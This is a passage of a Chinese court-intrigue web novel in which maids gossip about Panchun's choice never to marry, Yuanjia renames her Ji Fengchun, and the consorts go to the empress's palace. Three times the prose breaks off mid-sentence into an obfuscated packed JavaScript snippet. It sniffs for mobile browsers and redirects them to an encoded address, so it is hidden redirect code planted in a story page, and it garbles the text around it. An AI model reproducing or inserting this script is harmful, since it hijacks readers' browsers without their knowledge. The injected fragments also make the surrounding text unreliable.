“……你不在女君身边伺候,来我这儿做甚?” 敛秋抬头瞧了人一眼,表情颇为奇怪,可手里缝补衣物的动作却没停。 “我不小心摔了铜盆,吓着了。女君心疼我,便让我回来休息了。” 念夏喜滋滋道。 敛秋却听得皱起了眉,放下针线朝前者道:“你回来休息,那谁在屋子里服侍女君?” “还有盼春姊姊呢!” 念夏兀自坐了下来,一脸的兴致勃勃,“我跟你说,盼春姊姊呀,怕是要得一个郎婿了!” 敛秋的眉皱得更紧了,“……你这又是从哪儿听来的?” “自然是女君说的!” 念夏一副再笃定不过的得意模样,直等到看清敛秋表情里的怀疑,才略微收敛了几分,却仍坚持道:“真是女君说的!是个姓徐、许……反正就是有个等了盼春姊姊许多年的郎君,特意央了人问到女君跟前的!盼春姊姊可比女君还大几岁呢,这样痴情的人,遇上了可不得赶紧嫁了?” 这话敛秋自是不信,“你从来是拿了三分便跑的,定是还有什么没说与我听。你不说全乎了,我是一分半毫都不信的。” 念夏视线有些飘忽,须臾才不甘心地嘟囔着:“就算是我隔着帘子听到的,可离得又不远,怎么也不会听岔的。” 说着说着,又高兴起来,“肯定是真的,盼春姊姊还害羞了呢!” “又胡猜,你在帘外站着,怎么能瞧见盼春姊姊是喜是恼?” “不是胡猜!” 念夏扬了声调,“盼春姊姊从里屋出来,特意叫我别多想,还说什么她是不打算嫁人的,叫我赶紧回来歇着。可哪有不嫁人的女子,又不是比丘道姑,说这话可不就是害羞了!” 敛秋才听到一半,便在心里叹起气来,再等到念夏说完,整个人更是欲言又止。 念夏兀自兴奋了好一会儿,才注意到敛秋的怪异模样,下意识垮了脸,又扁着嘴道:“你怎么这副表情,难道我说错了?” “你忘了?”敛秋无奈摇头,“盼春姊姊可不止一次说过她不想成家,怎么到你嘴里竟全然变了个样,好似她明日就要披红戴冠上花轿了一般。” 念夏果然被这话堵住了喉咙,扁着嘴安静了好一会儿,可再开口时仍是嘴硬── “若盼春姊姊没起这个念头,女君又怎会在大庭广众之下问她……人是会变的,保不齐是盼春姊姊自个儿想通了!” “大庭广众?”敛秋瞧着人,“你是女君发了话让回来歇着的,那屋里除了盼春姊姊,还有谁?” “我,还有红、红珠……” 念夏的声音渐渐低了下去。 “那叫什么大庭广众!”敛秋瞪圆了眼睛,“你居然还敢偷听女君说话,真是愈发不知轻重了!” “咱们和别人又不一样,与女君那是打小的情分!” 念夏强辩道。 敛秋往念夏身上捶了一拳,颇有些恨铁不成钢的意味。好在前者也放弃了继续争论盼春是否出嫁的话头,自己撑着脑袋生了会儿闷气,又想到了什么似的朝敛秋一咧嘴。 “盼春姊姊要是不嫁人了,往后不就更得女君看重了,咱们屋里上上下下这么多人,谁还能越得过她去呀!这么一想,是我我也不嫁,一个嬷嬷的儿子罢了,再本事又有多厉害,嫁过去能有在太子妃身边过的舒服吗!” 这话说的连敛秋也听不下去了,当即打断道:“你自己听听,说的是什么混账话!盼春姊姊是咱们几个里最大的,从前在府里时,有什么好东西从来都先紧着咱们,什么越得过越不过的,你管的活计,盼春姊姊哪次插过手!” “那时,谁能想到咱们女君有如今这福气呢。”念夏撇了撇嘴,“盼春姊姊原就是咱们屋里拔尖的,往后入了宫,可不就是领头的姑姑了,多叫人羡慕啊。” “合着你是为了女君如今这身份才跟在身边伺候的?” 敛秋伸出指尖,狠狠戳了戳念夏额头,更恨不得能掰开她的脑子,看这人一天到晚的究竟在想些什么。 “且不说拂冬,咱们三个可是前后脚跟在女君身边的,你倒好,见着盼春姊姊有大造化了,不恭喜也就罢了,居然还偷偷嚼人舌根!” “我、我没有!”念夏连忙摇头,“只是一起长大的情分,如今瞧着,有些羡慕罢了……” 声音却愈加发虚。 “你又不是不知道盼春姊姊家里那堆恶心事,如何叫她还有嫁人的心思!索性一辈子跟在女君身边,旁人也不敢轻看了去。” 敛秋苦口婆心,又瞧着念夏面上的勉强,索性直言道:“盼春姊姊居长,做事又稳当,平日里女君使唤的多也就罢了,拂冬是盼春姊姊的妹妹,入府也晚两年,比你还小个几岁呢,女君如今用她却比用你的多。若不是瞧着拂冬年纪还小,女君心疼,不多派了事,怕是早早就越过你了去!” 念夏心思浅,被这一说,便慌了手脚,“可、可我也是好好伺候着的呀!” “你要是能把这嚼舌根的心思放在别处,女君指不定多喜欢你呢。” 敛秋说着,又重新拿过丝线,低着头一针一针地补了起来。 念夏不说话了。 半晌,又挤在敛秋身边坐下,“你说,盼春姊姊得了个这般好的前程,咱们几个呢?” 敛秋被她挤这一下,险些将针扎进肉里,又听到这一句话,忍不住长叹了一口气,“盼春姊姊你是瞧见了,她办事妥帖,又一直管着女君的私库,往后便是独身一人,谁又敢低看半分。红玉姊姊本就是太子身边的人,如今跟在女君身边,我从旁瞧着,女君待她不比盼春姊姊差,将来想也不缺前程和体面。” “至于拂冬,她现在和你一起管着女君的衣物首饰,虽还不叫多派了事,可女君喜欢她,等再大些,应该就从你手里把这份活计接过去了。” “我是只管女君吃食的,也没什么大的抱负。左右家中无人,只要自个儿吃饱喝足,旁的怎样都好。” 说着又瞧了眼念夏,“至于你么……就你这张嘴呀!” 念夏柳眉倒竖,正要反驳,又叫敛秋一句话压了回去,“如今你伺候着女君的梳妆,可你瞧见没有,这段日子,红珠也时常跟在你左右。” “那不是女君说,红珠她们还不熟悉咱们的习惯,叫我无事多带带她们吗!” 念夏不屑一顾。 “就你是个傻的,”敛秋只觉得今日叹了太多的气,“她和红玉姊姊都是宫里头出来的,论起规矩来,只有咱们比不上人家的份。再说了,咱们女君是嫁进东宫,还得学皇室的规矩。你只瞧盼春姊姊,入太子府不过月余,气势便不一样了。你自个儿说,究竟是谁带谁?” “那,女君的意思是?” 念夏变得慌张起来。 “你如今也到笄年了,原又是府里的家生子,你老子娘想来会求女君给个恩典,估计放出去也就这两年的事。到时候总要有人顶了你的差,与其临到头来选的不如意,还不如现下就开始使唤起来。红珠又是太子身边的人,做起事来不会不稳妥,跟在你身边学学女君的喜好,往后服侍总归不会手生了去。” “……那我呢?”念夏面上茫然,“你说,女君会把我许给谁?” 敛秋无奈道:“你的郎婿,自然是你自个儿选,自个儿定,女君如何替你做主?要我说,你若真看中了谁,索性早些告诉女君,也好叫她替你查查那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她心思浅,从来也装不下和自己无关的事情,咱们又不是不知道。只是今日说的这话,确实过分了些,”敛秋将拂冬摁回榻上,“我回头一定说她,你可别气。” “我若真气,便不会一直藏在后头一声也不吭了……早与她撕扯起来了!” 拂冬斜了敛秋一眼,口气虽还是不好,但到底不是惯来生气的模样。 敛秋面露愁色,“我只怕女君留不下她多久了。” “打从红珠姊姊第一次替女君梳妆时起,这不就是明摆着的事情了吗?”拂冬说的直接,“从前在季府,管家理事的是夫人,跟着是少夫人,再往下才是咱们女君,念夏姊姊便是再想躲懒,也不敢真误了差事。可在太子府里,却没人再能压女君一头,咱们近身伺候的,身份可不就跟着水涨船高了吗。” “徐妈妈虽也教导咱们,可到底不是时时见着,哪能真把咱们管束起来。如今咱们去哪儿都有人奉承,可不就把念夏姊姊给捧的得意忘形了吗!” “我不若再去提醒她两句?” 敛秋还是狠不下心。 “姊姊这话,说得倒似咱们在冷眼旁观一般,”拂冬撇撇嘴,“这段日子,光咱们几个就在她面前说了多少次了。明着的暗着的,哪次被她听进去了?连红珠姊姊都让她当差时注意着些,可结果呢,女君有多久没让念夏姊姊替她绾过头发了?” “你比念夏还小两岁呢,行事却比她老练通透多了。”敛秋苦笑一声,“这些话虽难听,却是半点不错的。女君也算是顾念旧情了,否则早该在念夏第一次犯错时就逐人离开了。” 拂冬嗤笑一声,“姊姊别怪我说话难听,念夏姊姊若真拿咱们当姊妹,乍闻女君要为我姊姊婚配时,心中只该是着急的。外人不清楚,她也不清楚吗?我那个暴虐成性的爹和黑心肠的继母,只恨不得从我俩身上扒下全部的血肉来养活自个儿。若是姊姊嫁人,离了季府或是如今的太子府,早晚会被他们合起伙来给逼死。哼!从前那两人来府里闹事讨好处时,念夏姊姊也不是没见过,不过是从未记在心上罢了。” 闻言,敛秋也不再强求,只道:“罢了罢了,左右是她自己的造化,再怎样还有她老子娘兜着呢。咱们这些个非亲非故的,做好自己的事已是万幸,哪还有心思管别人呢。” 说着又嗔了一眼拂冬,“好妹妹,还不快把东西给我,也好早些将这斗篷补好。” 拂冬将捏了许久的小匣子递到敛秋手边,又小声嘟囔着:“这斗篷分明是女君让念夏姊姊补的,都说了许久了,结果她今日进来,瞧着倒似全然忘记了有这个差事一般。” 又见敛秋不赞同地看了她一眼,这才撅着嘴,勉为其难道:“好了好了,我什么都不说了,替姐姐挽线去。” 敛秋无奈摇头,这才将精力全然投到缝补上去。拂冬也老实坐在一旁,静静瞧着再不出声。 55. 人所眷 第二日,盼春再出现在人前时,已然盘起头发一副妇人打扮。 有好奇者,亦有看热闹者,但众人议论也只在私下,又见盼春一副淡然模样,没两日便失了兴头,不再打听。 燕景祁走的第五日,清宁宫传来娄皇后病愈的消息。 长春馆内。 “你们说,皇后殿下这次怎么病了这么久?” 倪娉柔两手捧着茶盏,好奇道。 元嘉拿着黛笔,手上动作不停,“病来如山倒,病去如抽丝,皇后殿下素来体健,这次怕是受了凉,兼之担忧今上所致。风寒是早好了,可之前的亏空却是调养了许久才回转过来──兰佩可不就是这么说的。” “皇后殿下从前也有不好的时候,却一次都没让人停了觐见,隔着帘子也是要受人礼拜的。这回就一个风寒,竟免了宫里宫外几个月的晨参,实在是叫人好奇。” 倪娉柔啜饮了口茶水,不置可否。 刘婵正依着轮廓一点一点地填着针脚,闻言朝元嘉笑道:“这妮子仗着屋里就咱们两个,说话愈发的没遮拦了。” 自那日在元嘉处领了回针线,刘婵白日里无事,倒常往长春馆来。或替宜妤做些贴身物件,或帮着元嘉做些荷包香囊。倪娉柔爱热闹,十次里倒有八次都跟着过来。 “左右明日便是进宫的日子,你坐在清宁宫里仔细瞧瞧呗!” 元嘉停下笔,将描好的绣样放在一边,略活动了下身子,打趣道。 “宫里头几个月没传人觐见,明日也不知有多少内外命妇在场。便是不说话只见礼,咱们能赶在中午出宫门就不错了。” 倪娉柔唉唉一叹,倒对进宫的事情不甚感趣。 “她这是懒日子过习惯了,一下子又叫她似从前那般定时入宫,身上不舒快了。” 或许是和元嘉熟悉了,如今三人独处时,刘婵有时也会与她说笑打趣几句,再不似一开始的拘礼谨言。 “谁说不是呢,”倪娉柔竟也附和起来,“咱们要是住在少阳宫就好了,不过从这个宫往那个宫去,连脚程也能少上许多。” 元嘉哑然失笑,正想再调侃两句,哪想倪娉柔自个儿又摇起头来,“不好不好,要是住在宫里,能去的地方就更少了,我可不想天天去逛御苑。还是就在太子府里住着,总还能遇着机会出去转转呢!” 元嘉搭在桌上的指尖微微动了一下,而后又毫无异样般拿过茶盏,同样只捧在手里,再抬眼仍是满目笑意,“看来是被素娥说中了,咱们阿柔这嘴真真是不讲究了许多。” 刘婵的动作也有些凝滞,盯着素帛的的眼里掠过一丝黯淡,而后不着痕迹地换了话题,“说来,元娘上次送来的玉雕很是别致,不仅我中意,连宜妤看了也喜欢的紧呢。” 倪娉柔一时抱怨之言,说过也就过了,自然没注意到眼前两人稍显不自然的神态──元嘉也好,刘婵也罢,牵挂之人皆在上京城。如今住在太子府,偶尔还能见上几面。他日一朝入宫,若非年节,平日里再想见人只怕也难了。 两人对视一眼,皆看清了彼此眼中的苦涩,一时间竟生出些许同病相怜之感。倪娉柔大抵也是思念亲眷的,可她的父母亲族皆在余姚,自她嫁进太子府后便再没有见过面。于她而言,书信送进太子府还是少阳宫,怕是早没有区别了。 “我挑了个刻上京城街景的,刘姊姊呢?” 倪娉柔果然被这话勾起了兴致,又开始打听起其它人的样式来。 “我选了个刻花刻鸟的,”刘婵抿嘴一笑,“真就是栩栩如生,荣宝斋的师傅果然巧手。” “那她们呢,选的什么?” 倪娉柔侧着脑袋,又朝元嘉望去。 “卫良媛选的是刻山水的,徐奉仪么……便是簪花仕女了。” 倪娉柔听到徐奉仪三个字,下意识又想刺上两句,可转头瞧见刘婵不赞同的眼神,也只好老实收声,不再追问。 “……卫良媛、一切可好?” 刘婵已记不清上次见卫妙音是什么时候的事了,如今骤然提起,一时间竟连前者相貌也想不起来了。 “瞧着瘦了些,面色也称不上好,”元嘉想了想,“我见她腕间还戴着玉珠串,连名字也像是化用的佛家典故,不知是否是家中有信佛之人的缘故。” “听说杨夫人信佛,或许是此缘由吧。” 元嘉点点头,不再细问。 倪娉柔却在这时显出几分忸怩,指腹在杯壁上不住地摩挲,好一会儿才开口道:“她、她的病可有起色?” “我让章太医瞧了,说是好生调养个一年半载,也就无大碍了。” 又见倪娉柔因这话松了口气,不由奇道:“这可怪了,之前你不还避卫良媛如蛇蝎吗,怎么今日又关心起她的病情来了?” “大家同处一个屋檐下,我没事避她做甚,还不是——” 倪娉柔突然收了声,很快又道:“算了,不说了,卫良媛大安便好。来日等她出得院门,我再好生向她陈情就是。” 虽不知倪娉柔隐去了什么,元嘉却也有心开解,遂道:“她如今好多了,昨儿个还让叶兰过来了一趟,说是身边伺候的人已然够多了,再不能让先太子妃的旧仆辛苦侍奉在侧,希望我能给那人指个好去处呢。” “……那元娘你、是允了?” 倪娉柔不知想到了什么,面色有些奇怪。 元嘉笑了笑,“菡萏馆不是正缺人手吗,我便让她回去守着了。既邻着旧主,也算不上什么苦累差事,正正好。” 倪娉柔听罢,反露出几分若有所思。 元嘉想了想,又道:“章太医新开了药,又让膳房按着方子,每三日送一次药膳过去。我问过叶兰,她也说卫良媛的精神好了许多。” “如此,那饮食上可有相冲的东西?” 刘婵问道。 “这倒不曾听说,”元嘉摇头,“但是药三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126659|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒,章太医说卫良媛服药的年数有些长了,只怕已伤了脾胃。所以今次开的药膳,也少见油腥,多以清淡汤水为主……想来这调养身子的过程,也是漫长。” 倪娉柔听到这里,忽而道:“那、可能用些鱼虾?” “……应当是可以的吧,鱼汤鲜美,本也是常见的补身之物。” 话虽如此,元嘉的语气中仍多出几分不确定。 “不是不是,”倪娉柔连忙打断,“我是想说,她不是养了只……吗,从前怕是跟着她们吃人的食物,可如今三不五时的就要吃药膳,这东西就不好再给它吃了吧?让膳房每日备些鱼糜,再送些羊奶过去,只说是她要吃的,也不算引人注目吧?” 顿了顿,又小声道:“那小家伙圆滚滚的,模样也喜人,可别被饿瘦了。” 此言一出,元嘉与刘婵你望望我,我看看你,须臾同笑出声,“自然。” 而后唤来了盼春,又低声嘱咐了几句。前者领命离开,不多时重新捧着托盘叩门而入,一边替几人换上新茶,一边回禀道:“都已吩咐好了,女君与二位良娣只管放心。” 盼春方才进来时,倪娉柔便已注意到前者打扮上与往日的不同,又想起这几日宫女间的流言,不由道:“我原道是无根据的闲话,哪想竟是真的。盼春这是真打算不嫁了?” 盼春将最后一盏茶摆好位置,两手拢住托盘,先看了元嘉一眼,见前者微微颔首,方才垂目答了个是。 刘婵在一旁瞧着,点了点头,“盼春稳重,又是你的陪嫁侍女,能够长长久久地伴在你身边,知冷知热的也好。” 说罢又望向盼春,“如今不想嫁便不嫁,可他日若你遇上喜欢的了,也别顾忌今日之言,还给你家女君说去。她若不允便来找我,可不能坏了你寻如意郎君,我还等着给你添妆呢!” 一番话说得认真,显然不是因为盼春在元嘉身边服侍的客套之言。 倪娉柔也在一旁附和,“盼春生得好看,又是个聪明能干的,便是到了七老八十,也有一群爷们等着娶呢!嫁不嫁人的都无所谓,不嫁人更好,叫他们也尝尝抓心挠肝的滋味儿。” 盼春笑着欸了一声,眼眶隐隐有些发红。自她开始梳了妇人头,府里窥伺的视线就没断过,仿佛在看什么稀罕物一般。后来被看得烦了,素日里无事便也懒得出长春馆了。不想今日两位良娣过院做客,见她这身打扮却未露半分异色,依旧以平常心相待。如此温言,怎能不叫她心生感动呢? “盼春自入府那日起,便一直跟在我的身边,多年来与我形影不离,亦照顾我良多。她如今既下定了决心要长伴我左右,我自然不能叫别人看轻她。” 元嘉说着,又将盼春拉到身边,正色道:“你们几个的名字,都是当年进府的时候,由管事的嬷嬷分别取的。今日两位良娣皆在此,便请她二人替我做个见证,若你愿意,往后便叫回自己的名字吧。” 盼春怔在了原地。 56. 逢春时 盼春木头似的站了好一会儿,才反应过来元嘉说了什么,眼中露出难以抑制的欣喜,唇角不自觉地上扬,可很快又凝在了脸上,整个人显出几分犹豫。 “奴婢、奴婢从前的名字不好,您虽给了奴婢恩典,可连奴婢自己也不知道还能叫什么名字......” “若是名字不好,便把姓添上,以后也是要做姑姑的人了,哪能再由着旁人一口一个盼春娘子的叫着。” 倪娉柔笑吟吟道。 这还有什么看不出来的──她们都能听到的流言,元嘉又怎会什么都不知道。只怕也是从盼春的表情中觉出了异样,这才有意替人立势。她如今与元嘉交好,盼春自个儿也是个稳重的,她自然乐意助其一臂之力,做件锦上添花的美事。 盼春垂目想了想,像是决定了什么一般,双手拢在胸前,朝元嘉深深一屈膝,口中道:“女君,奴、我未入府前随父亲姓常,可我深恨那人,更不愿再与之有任何牵扯。偏我母亲远嫁来此,又离世得早,我也不知道母亲的姓氏,所以这姓便不添了。至于名字,还请女君容我改上一字。” “你说。” “我想,把盼字改成逢字!” 盼春正色道。 “逢春……此二字作何解呢?”倪娉柔好奇道,“莫不是取自‘枯木逢春’之意?” 闻言,盼春眸中倏地一亮,随即郑重点头,“正是!奴婢从前的名字有等待之意,可自打遇见了我家女君,便再不必等待了。而‘枯木逢春’四字,正有绝境逢生、重获生机的意思,恰如当年女君一家救奴婢于水火。所以、所以想改作此字!” “真是个秉性纯良的丫头,”刘婵感叹道,“她遇上你这样的主家,是她的福气。你能有她这样一个忠仆,亦是你的幸事。” “所以,我更不能亏待她了。”元嘉看着盼春,“逢春二字已是很好了,可我还想再送你一个姓氏,不知你可愿意?” “只要是您给的,奴婢无有不愿的!” 盼春毫不犹豫。 “你可愿随我姓季?” 元嘉含笑问道。 盼春先是一愣,反应过来后立刻跪倒在地,语含哽咽,“奴婢愿意,奴婢愿意的!” 元嘉把人从地上扶起来,“好,以后我长春馆便没有什么盼春娘子了,只有一位季逢春姑姑。” 盼春,不,如今该唤作逢春了,一边揩着眼泪,一边答应道:“哎!” 刘婵一旁瞧着,忽然从腰间取下一枚荷包,又扬声唤了玉兰进来。 “你来,把这些银稞子拿到小厨房去,让她们置几桌席面,让今晚不用当值的宫女内侍们全部来吃酒。至于来不了的,便在今日晚饭里多添两个菜,大家一块儿高兴!” 玉兰接过荷包,倒不急着离开,含笑问道:“不知是什么喜事,竟叫咱们也跟着沾了光。” 这次不等刘婵开口,倪娉柔便在一旁笑盈盈道:“逢春做了长春馆的姑姑了,这样大的喜事,自然得好生贺上一贺!” 说罢,又从手上褪下一枚戒指,亦放至玉兰手心,“这就算是我的贺礼了,让小厨房再备些好酒,便是吃醉了也不打紧!” “……逢春?” 饶是聪慧如玉兰,一时也没反应过来。 “玉兰姊姊,我、我如今叫做季逢春了,”逢春听着倪、刘二人的话,一时有些羞赧,“便是,枯木逢春的逢春。” 到底还是遮掩不住心中的喜悦,说着说着便又咧开嘴笑了。 玉兰一听,当下真心道:“恭喜逢春妹妹了!” 逢春抿着笑,又朝玉兰一还礼。 元嘉佯作苦恼状,故意道:“这又有酒又有菜的,我可添些什么才好呢?” “女君恩惠奴婢的已够多了,万不能再添东西了!” 逢春连连摆手。 元嘉将视线在屋里绕了一圈,拍手笑道:“有了!” “红玉!” 后者闻声而进,垂首听命。 “去找人拿一篓银稞子来,用红纸裁了装好。今日过来吃酒的,人人都有赏银!” 倪娉柔眼珠一转,故意道:“那今日要当值的,可不得后悔死了?” 元嘉笑着指了一下倪娉柔,“既然良娣娘娘发话了,那便将今夜当值宫人的月例再加上一成。” 红玉领命而去,临出门前,特意朝逢春点了点头,无声道了句恭喜。玉兰微微屈膝,亦追随前者而去。 元嘉拉过逢春的手,“好了,今日便不要在我跟前守着了,下去歇着吧,晚上热热闹闹的和姊妹们吃一场酒,咱们的盼春便该是长春馆的季逢春了。” 逢春诶了一声,红着眼眶朝几人福了福身,这才缓缓退出门去。 倪娉柔看着逢春远去的背影,不由感叹道:“你这样替她撑腰,今日之后,我看哪个不长眼的还敢在背地里说人闲话。” “她一片忠心待我,我自不能让她在外面受了委屈。” 说着,又回过头来望着倪、刘二人,“小厨房今日煨了鹌鹑,还做了锅子,你们不若在我这儿吃了晚饭再走?” “大热的天,”倪娉柔摇着宫扇,有些犹豫,“你也不怕吃出一身的汗来。” “叫人把冰山搬进来,就放到你跟前,这下可乐意了?” 元嘉笑着问道。 倪娉柔顿时松快,“刘姊姊也留下。” 刘婵却摇头拒绝,“我倒是想留,可宜妤就要下学了,我哪能叫她一个人回竹香馆吃饭呢。” “那便叫人将宜妤接到长春馆来,和咱们一块儿用晚膳,可好?”元嘉建议道,“小厨房今日报上来的菜品里,还有好些香软绵甜的小点心,你们是知道的,我素来不爱这些甜腻之物,你们若都走了,可不得浪费了?” 自小喜儿之后,长春馆的小厨房也好,府里的膳房也罢,谁还敢逆着元嘉的口味做事?想也知道是有人特意吩咐的,想着小孩子嗜甜,提前备下的。 这样隐晦的好意,刘婵自是感德。 “姊姊便留下吧,”倪娉柔也劝了起来,“府里厨娘的手艺我早吃厌了,新来的这一批,对着咱们也只敢按从前的味道来做,好没意思。只有这长春馆的厨娘我还没试过呢,姊姊陪我一起!” 两人一唱一和的,刘婵顷刻间便败下阵来,只能笑着答应。 倪娉柔连忙叫来芝兰,让她去接宜妤下学,而元嘉则挥手叫过敛秋,让她提了东西也跟前者走一趟。 两人并肩离去。 “……那盒子里装的是什么?” 倪娉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138209|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔奇怪道。 “也是小厨房做的点心。府里就这两个女孩儿,总得一视同仁才行。宜妤既在咱们这儿,宜恕那份便让敛秋单独送去,”元嘉叹了口气,“我总怕被人诟病厚此薄彼,便只有尽力做到公平了。” 倪娉柔嘴一撇,小声道:“你倒是好意,那徐丽华却未必肯领你的情。” 这并不是元嘉第一次听到徐丽华的名字,可每每听别人提起,她便觉徐家寄托在前者身上的心思昭然若揭──史书上留下名姓的皇后不多,可有名有姓的里面,丽华二字却是再频繁不过的。 徐家一开始想的,便是让自家女儿登顶皇后之位吧。 “领不领的都不要紧,我只是想给自己求个心安罢了。 元嘉收回思绪,倒是想的开。 “稚子何辜?”倪娉柔冷笑一声,“她自己心里有怨,却不敢朝着上头那几位发火,拿自己孩子撒气,算什么本事!” 倪娉柔自己没有孩子,所以对孩童更多三分喜爱。徐丽华刻薄亲女,两人又有那样的过节,前者在她这里自然捞不着任何好听的话。 “且瞧着吧,如今便不止一位郡主了,往后咱们再添几个姊妹,郡主可就更多了。”倪娉柔毫不遮掩,“咱们那位太子,既不像个长情的,只怕也不会多顾念旧情。她如今一味将孩子拘在自己身边,偏又养成副瑟缩性子,太子难道会看在往昔情谊的份上看重她三分吗!等宜恕成人,面对一个全然不喜欢自己的父亲,余生还有什么指望!” 一番话下来,倒更多是在为宜恕鸣不平。 元嘉听着,在心底又生出几分惊讶来。她原以为倪娉柔深恶徐丽华,便连她身边的一切都是不喜欢的。可如今再看,倪娉柔从来也只针对徐丽华一个,亦不屑于对跟她扯上关系的其他人施以眼色。 也算是某种意义上的爱憎分明吧。 元嘉默默感慨一句。 刘婵也是有孩子的人,此刻听了倪娉柔的话,对年岁相差无几的宜恕亦生出几分慈母心肠,脱口道:“宫里头的规矩,主位以下不拘男女,都是要交给高位嫔妃抚养的。我虽觉得这样的规矩太过残忍,可对宜恕郡主而言,却未必不是件好事。” 说罢,又苦笑着摇头,“天爷呀,我竟也生出了这样的念头。母子分离之痛不亚于世间任何一种酷刑,我却还说出叫徐奉仪与宜恕郡主分开的胡话来,真真是罪过极了。” “她自己做下的事情,还不许别人议论吗!” 倪聘柔轻嗤一声,又想出声嘲讽。 “可不许再说了,分明是让你留下来吃锅子的,做甚说这些无端端的话。” 元嘉急忙打断,一副要捂人嘴的模样。倪娉柔什么都好,就是一听见徐丽华的名字便沉不住气,说到最后是自己也气,话也难听。 刘婵亦是嗔怪一眼。 倪娉柔被两边一打断,总算是不情不愿地消停下来了。 元嘉则与刘婵对视一眼,彼此失笑。再说起话来,也是刻意避开徐丽华与宜恕。倪娉柔听不见讨厌人的名字,自然兴致高昂。待宜妤过来,更是与小孩子逗起趣来。 熟人围坐,一餐饭吃得热闹自在,耳边偶尔还能听见院外传来的模糊不清的道贺声,直等到月挂梢头,倪、刘二人才带着宜妤告辞离去。 57. 若为母 说是内外命妇同参,可实际能等到娄皇后亲见的,也不过是些内宫女子罢了。其余人等,或听命奉诏入宫,或于年节往殿外行礼肃拜。 而因着武帝早年间的敕谕,本该在内宫的元嘉等人如今住在了宫外,可到底不是外命妇,一应规矩还须以内宫仪制为准。 次日,晨光微熹,元嘉并倪娉柔、刘婵钿钗礼衣,一身齐整的坐上进宫的马车。 娄皇后久不见孙辈,既要进宫,少不得传话让府里的两个孩子也一并入宫。谁知昨日夜里,徐丽华突然使人来报,说宜恕着了暑热,医女叮嘱要静养,不止进不了宫,连听学也要缓上一缓了。 来人回话时,将头垂得极低,谁的脸也不敢看,只战战兢兢地等在阶下听候吩咐。偏又带了医女一起过来,等元嘉一发问,便迫不及待地将女孩儿是如何中的暑,如何发现的不好,又是如何吃的药一并给说了个干净,倒像是刻意等着一般。 抗拒的意味太过明显,偏又是个正经理由。一来二去,倒显得问话的元嘉在强人所难了。于是,如徐丽华所愿,宜恕留在太子府养病休息。而宜妤,元嘉与刘婵一合计,最后还是一并告病不去了。 孩子们已经开始晓事,便是如今还不清楚进宫请安的意义,天长日久的,身边也不缺教导的人,早晚都会明白。 娄皇后也是有七情六欲的凡人,都是自己的孙辈,疼谁都是一样的。一个三不五时陪在身边的,和一个三五月都见不到一面的,孰亲孰远,自然分明。 徐丽华虽与倪娉柔有龃龉,可到底是大人间的事,没必要拉小孩子做文章,既然一个不去,那索性便全都不去了。小孩子体弱,生病也是常有的事,娄皇后亦是病体初愈,想来不会过多询问孩子的情况。 如此这般,待出门时,太子府外停放的马车,便只有三辆了。 …… 元嘉三人落辇时,清宁宫已然热闹至极。殿内零零散散的坐了好几位宫装妇人,当就是光熹帝的嫔妃了。原在彼此闲话,捧盏微抿,见元嘉等自长街而来,少不得目视了两眼。 元嘉上次进宫还是在大婚之时,见过的嫔妃不过贤、德二妃,如今余光一瞥,竟都是些美佳人,一时间竟生出几分恍惚之感。 接引的宫人未有停留,径自将三人引到侧殿暂作歇息,口中还道:“请三位贵主在此小坐片刻,皇后殿下还在受外命妇的礼,一会儿见完了正殿的娘娘们,便召三位贵主过去。” 元嘉三人自是不敢有异,分次入座后便各自敛容,正襟危坐,彼此间只能用余光相互示意。那宫人早在她们进殿后便悄声退了出去,偌大一个侧殿,便只剩下了她们三个,连随身伺候的逢春等人也被留在了殿外等候。 说来,她们三人应当是和同辈里其他皇子的妻妾一起问安的。可光熹帝的几个儿子里,大皇子早夭,二皇子封了闲王在京中置宅,七年前虽娶了正妃,可没两年便难产去世了,只留下一个幼子,二皇子之后也不再续娶,只挑着好看的纳进王府。可这些年下来,却连一个能正经入宗牒的都没有,更遑论能够进宫的王妃了。 三皇子,便是燕景祁,倒是有好几名妃妾,可依例能进宫的,不过“一妃二良娣”罢了。余下的皇子,皆未及弱冠,思来数去,这一辈里竟难有与三人同坐一殿的妯娌。 皇宫规矩极严,殿内虽也无人,可谁也不敢真的放松,只能努力听着一墙之外的正殿动静,稍作缓和。但不知怎的,娄皇后今日在正殿停留的时间过于久了,小宫人都进来换了好几波的茶了,正殿那方却迟迟不见有人离开。 元嘉实在奇怪,看向倪、刘二人的视线里也带了三分询问,哪知对面二人亦是左右相望,目露茫然。 那便是有异了。 元嘉心下一沉,这可不是什么好兆头。 当此时,正殿内突然传出一阵喧闹之声,隐隐可闻女子嚎泣。三人面面相觑,顿时坐立不安起来。又听那嚎泣声越来越近,像是从正殿出来了一般。当下顾不得礼数,探身窥望了起来。 不多时,几个内侍从正殿拖出一名着妃色裙衫的女子。那女子鬓发凌乱,钗环坠地,一边哭着,一边求娄皇后开恩,却终是被拖出了清宁宫,不知去向为何。 